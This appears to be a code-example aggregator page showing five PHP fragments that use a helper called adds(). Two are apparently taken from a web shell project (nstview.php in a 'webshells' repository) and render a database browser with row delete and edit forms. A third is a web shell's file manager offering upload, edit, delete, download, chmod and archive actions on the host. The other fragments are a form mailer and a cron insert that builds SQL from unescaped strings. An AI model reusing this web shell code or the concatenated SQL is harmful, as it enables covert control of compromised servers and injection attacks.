예제 #1
0
        }
        // или отдаем голый текст
        if (mb_strlen(trim($sb['body'])) < 10) {
            if (isset($form['cfg']['title'])) {
                $sb['body'] .= $form['cfg']['title'] . "\r\n\r\n";
            }
            foreach ($getdata as $name => $data) {
                $sb['body'] .= $data['title'] . ": " . $data['value'] . "\r\n";
            }
            if ($form['cfg']['referer']) {
                $sb['body'] .= "\r\n\r\n\r\n\r\n" . $ref;
            }
        }
        // если есть что добавить
        if (isset($form['cfg']['adds']) && is_array($form['cfg']['adds'])) {
            $sb = adds($sb);
        }
        //отправка письма
        $mail = mail($To, $sb['subject'], $sb['body'], $headers);
        if ($mail) {
            $jsonBox['ok'] = 1;
            $info[] = $form['cfg']['okay'];
            //setcookie("limit", "1", time() + $form['cfg']['limit']);
        } else {
            $info[] = $form['cfg']['f**k'];
        }
    }
} else {
    $error[] = 'Нет настроек формы с именем #' . $act;
}
if (count($error) > 0) {
예제 #2
0
$len  = mysql_field_len($result, $i);

print "<td bgcolor=#BCE0FF> $name (<b>$type($len)</b>)</td>";

}

print "</tr><pre>";



while($mn = mysql_fetch_array($result, MYSQL_ASSOC)){

foreach($mn as $key=>$inside){

$buffer1 .= "`$key`='".adds($inside)."' AND ";

$b1 .= "<td>".htmlspecialchars($inside, ENT_NOQUOTES)."&nbsp;</td>";

}

$buffer1  = substr($buffer1, 0, strlen($buffer1)-5);

$buffer1  = base64_encode($buffer1);

print "<td>

<form method=post action='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&tbl=$tbl&vnutr=1&baza=1&vn=$vn&db=$db'>

<input type=hidden name=delete_row value='$buffer1'>
예제 #3
0
파일: nstview.php 프로젝트: Theov/webshells
     }
     $query = "SELECT * FROM {$vn} LIMIT {$from},{$to}";
     $result = mysql_query($query);
     $result1 = mysql_query($query);
     print $del_result;
     print "<table cellpadding=0 cellspacing=1 border=1><tr><td></td>";
     for ($i = 0; $i < mysql_num_fields($result); $i++) {
         $name = mysql_field_name($result, $i);
         $type = mysql_field_type($result, $i);
         $len = mysql_field_len($result, $i);
         print "<td bgcolor=#BCE0FF> {$name} (<b>{$type}({$len})</b>)</td>";
     }
     print "</tr><pre>";
     while ($mn = mysql_fetch_array($result, MYSQL_ASSOC)) {
         foreach ($mn as $key => $inside) {
             $buffer1 .= "`{$key}`='" . adds($inside) . "' AND ";
             $b1 .= "<td>" . htmlspecialchars($inside, ENT_NOQUOTES) . "&nbsp;</td>";
         }
         $buffer1 = substr($buffer1, 0, strlen($buffer1) - 5);
         $buffer1 = base64_encode($buffer1);
         print "<td>\n<form method=post action='{$php_self}?p=sql&login={$login}&pass={$pass}&adress={$adress}&conn=1&tbl={$tbl}&vnutr=1&baza=1&vn={$vn}&db={$db}'>\n<input type=hidden name=delete_row value='{$buffer1}'>\n<input type=submit value=Del onclick='return confirm(\"DELETE ?\")' style='border:1px; background-color:white;'>\n</form><form method=post action='{$php_self}?p=sql&login={$login}&pass={$pass}&adress={$adress}&conn=1&tbl={$tbl}&baza=1&vn={$vn}&db={$db}'>\n<input type=hidden name=edit_row value='{$buffer1}'>\n<input type=submit value=Edit style='border:1px;background-color:green;'>\n</form>\n</td>\r\n";
         print $b1;
         print "</tr>";
         unset($b1);
         unset($buffer1);
     }
     mysql_free_result($result);
     print "</table>";
 }
 #end vnutr
 print "</td></tr></table>";
예제 #4
0
 /**
  * 直接添加一个计划任务
  * @param string $name 计划任务名
  * @param string $set  任务设置
  */
 public static function add($name, $set)
 {
     global $m;
     $set = adds($set);
     $sql = "INSERT IGNORE INTO  `" . DB_PREFIX . "cron` (`name`";
     $a = '';
     $b = "'{$name}'";
     if (isset($set['file'])) {
         $a .= ', `file`';
         $b .= ", '{$set['file']}'";
     }
     if (isset($set['no'])) {
         $a .= ', `no`';
         $b .= ", '{$set['no']}'";
     }
     if (isset($set['desc'])) {
         $a .= ', `desc`';
         $b .= ", '{$set['desc']}'";
     }
     if (isset($set['freq'])) {
         $a .= ', `freq`';
         $b .= ", '{$set['freq']}'";
     }
     if (isset($set['lastdo'])) {
         $a .= ', `lastdo`';
         $b .= ", '{$set['lastdo']}'";
     }
     if (isset($set['log'])) {
         $a .= ', `log`';
         $b .= ", '{$set['log']}'";
     }
     $sql .= $a . ' ) VALUES (' . $b . ')';
     $m->query($sql);
 }
예제 #5
0
function showdir($s_cwd)
{
    global $s_self, $s_win, $s_posix, $s_tar;
    $s_fname = $s_dname = array();
    $s_total_file = $s_total_dir = 0;
    if ($s_dh = @opendir($s_cwd)) {
        while ($s_file = @readdir($s_dh)) {
            if (@is_dir($s_file)) {
                $s_dname[] = $s_file;
            } elseif (@is_file($s_file)) {
                $s_fname[] = $s_file;
            }
        }
        closedir($s_dh);
    }
    natcasesort($s_fname);
    natcasesort($s_dname);
    $s_list = array_merge($s_dname, $s_fname);
    if ($s_win) {
        //check if this root directory
        chdir("..");
        if (cp(getcwd()) == cp($s_cwd)) {
            array_unshift($s_list, ".");
        }
        chdir($s_cwd);
    }
    $s_path = explode(DS, $s_cwd);
    $s_tree = sizeof($s_path);
    $s_parent = "";
    if ($s_tree > 2) {
        for ($s_i = 0; $s_i < $s_tree - 2; $s_i++) {
            $s_parent .= $s_path[$s_i] . DS;
        }
    } else {
        $s_parent = $s_cwd;
    }
    $s_owner_html = !$s_win && $s_posix ? "<th style='width:140px;min-width:140px;'>owner:group</th>" : "";
    $s_colspan = !$s_win && $s_posix ? "5" : "4";
    $s_buff = "<table class='explore sortable'><thead><tr><th style='width:24px;min-width:24px;' class='sorttable_nosort'></th><th style='min-width:150px;'>name</th><th style='width:74px;min-width:74px;'>size</th>" . $s_owner_html . "<th style='width:80px;min-width:80px;'>perms</th><th style='width:150px;min-width:150px;'>modified</th><th style='width:200px;min-width:200px;' class='sorttable_nosort'>action</th></tr></thead><tbody>";
    foreach ($s_list as $s_l) {
        if (!$s_win && $s_posix) {
            $s_name = posix_getpwuid(fileowner($s_l));
            $s_group = posix_getgrgid(filegroup($s_l));
            $s_owner = $s_name['name'] . "<span class='gaya'>:</span>" . $s_group['name'];
            $s_owner_html = "<td style='text-align:center;'>" . $s_owner . "</td>";
        }
        $s_lhref = $s_lname = $s_laction = "";
        if (@is_dir($s_l)) {
            if ($s_l == ".") {
                $s_lhref = $s_self . "cd=" . pl($s_cwd);
                $s_lsize = "LINK";
                $s_laction = "<span id='titik1'><a href='" . $s_self . "cd=" . pl($s_cwd) . "&find=" . pl($s_cwd) . "'>find</a> | <a href='" . $s_self . "cd=" . pl($s_cwd) . "&x=upload" . "'>upl</a> | <a href='" . $s_self . "cd=" . pl($s_cwd) . "&edit=" . pl($s_cwd) . "newfile_1&new=yes" . "'>+file</a> | <a href=\"javascript:tukar('titik1','', 'mkdir','newfolder_1');\">+dir</a></span><div id='titik1_form'></div>";
            } elseif ($s_l == "..") {
                $s_lhref = $s_self . "cd=" . pl($s_parent);
                $s_lsize = "LINK";
                $s_laction = "<span id='titik2'><a href='" . $s_self . "cd=" . pl($s_parent) . "&find=" . pl($s_parent) . "'>find</a> | <a href='" . $s_self . "cd=" . pl($s_parent) . "&x=upload" . "'>upl</a> | <a href='" . $s_self . "cd=" . pl($s_parent) . "&edit=" . pl($s_parent) . "newfile_1&new=yes" . "'>+file</a> | <a href=\"javascript:tukar('titik2','" . adds($s_parent) . "', 'mkdir','newfolder_1');\">+dir</a></span><div id='titik2_form'></div>";
            } else {
                $s_lhref = $s_self . "cd=" . pl($s_cwd . $s_l . DS);
                $s_lsize = "DIR";
                $s_laction = "<span id='" . cs($s_l) . "_'><a href='" . $s_self . "cd=" . pl($s_cwd . $s_l . DS) . "&find=" . pl($s_cwd . $s_l . DS) . "'>find</a> | <a href='" . $s_self . "cd=" . pl($s_cwd . $s_l . DS) . "&x=upload" . "'>upl</a> | <a href=\"javascript:tukar('" . cs($s_l) . "_','','rename','" . adds($s_l) . "','" . adds($s_l) . "');\">ren</a> | <a href='" . $s_self . "cd=" . pl($s_cwd) . "&del=" . pl($s_l) . "'>del</a></span><div id='" . cs($s_l) . "__form'></div>";
                $s_total_dir++;
            }
            $s_lname = "[ " . $s_l . " ]";
            $s_lsizetit = "0";
            $s_lnametit = "dir : " . $s_l;
        } else {
            $s_lhref = $s_self . "view=" . pl($s_cwd . $s_l);
            $s_lname = $s_l;
            $s_lsize = gs($s_l);
            $s_lsizetit = @filesize($s_l);
            $s_lnametit = "file : " . $s_l;
            $s_laction = "<span id='" . cs($s_l) . "_'><a href='" . $s_self . "edit=" . pl($s_cwd . $s_l) . "'>edit</a> | <a href='" . $s_self . "hexedit=" . pl($s_cwd . $s_l) . "'>hex</a> | <a href=\"javascript:tukar('" . cs($s_l) . "_','','rename','" . adds($s_l) . "','" . adds($s_l) . "');\">ren</a> | <a href='" . $s_self . "del=" . pl($s_cwd . $s_l) . "'>del</a> | <a href='" . $s_self . "dl=" . pl($s_cwd . $s_l) . "'>dl</a></span><div id='" . cs($s_l) . "__form'></div>";
            $s_total_file++;
        }
        $s_cboxval = $s_cwd . $s_l;
        if ($s_l == '.') {
            $s_cboxval = $s_cwd;
        }
        if ($s_l == '..') {
            $s_cboxval = $s_parent;
        }
        $s_cboxes_id = substr(md5($s_lhref), 0, 8);
        $s_cboxes = "<input id='" . $s_cboxes_id . "' name='cbox' value='" . hss($s_cboxval) . "' type='checkbox' class='css-checkbox' onchange='hilite(this);' /><label for='" . $s_cboxes_id . "' class='css-label'></label>";
        $s_ltime = filemtime($s_l);
        $s_buff .= "<tr><td style='text-align:center;text-indent:4px;'>" . $s_cboxes . "</td><td class='xpl' title='" . $s_lnametit . "' ondblclick=\"return go('" . adds($s_lhref) . "',event);\"><a href='" . $s_lhref . "'>" . $s_lname . "</a></td><td title='" . $s_lsizetit . "'>" . $s_lsize . "</td>" . $s_owner_html . "<td class='ce'>" . gp($s_l) . "</td><td class='ce' title='" . $s_ltime . "'>" . @date("d-M-Y H:i:s", $s_ltime) . "</td><td>" . $s_laction . "</td></tr>";
    }
    $s_buff .= "</tbody>";
    $s_extract = "";
    $s_compress = "";
    if (class_exists("ZipArchive")) {
        $s_extract .= "<option value='extractzip'>extract (zip)</option>";
        $s_compress .= "<option value='compresszip'>compress (zip)</option>";
    }
    if ($s_tar) {
        $s_extract .= "<option value='extracttar'>extract (tar)</option><option value='extracttargz'>extract (tar.gz)</option>";
        $s_compress .= "<option value='compresstar'>compress (tar)</option><option value='compresstargz'>compress (tar.gz)</option>";
    }
    $s_extcom = $s_extract != "" && $s_compress != "" ? $s_extract . "<option value='' disabled>-</option>" . $s_compress : $s_extract . $s_compress;
    $s_buff .= "<tfoot><tr class='cbox_selected'><td class='cbox_all'><input id='checkalll' type='checkbox' name='abox' class='css-checkbox' onclick='checkall();' /> <label for='checkalll' class='css-label'></label></td><td><form action='" . $s_self . "' method='post'><select id='massact' class='inputzbut' onchange='massactgo();' style='width:100%;height:20px;margin:0;'><option value='' disabled selected>Action</option><option value='cut'>cut</option><option value='copy'>copy</option><option value='paste'>paste</option><option value='delete'>delete</option><option value='' disabled>-</option><option value='chmod'>chmod</option><option value='touch'>touch</option><option value='' disabled>-</option>" . $s_extcom . "</select><noscript><input type='button' value='Go !' class='inputzbut' onclick='massactgo();' /></noscript></form></td><td colspan='" . $s_colspan . "' style='text-align:left;'>Total : " . $s_total_file . " files, " . $s_total_dir . " Directories<span id='total_selected'></span></td></tr></tfoot></table>";
    return $s_buff;
}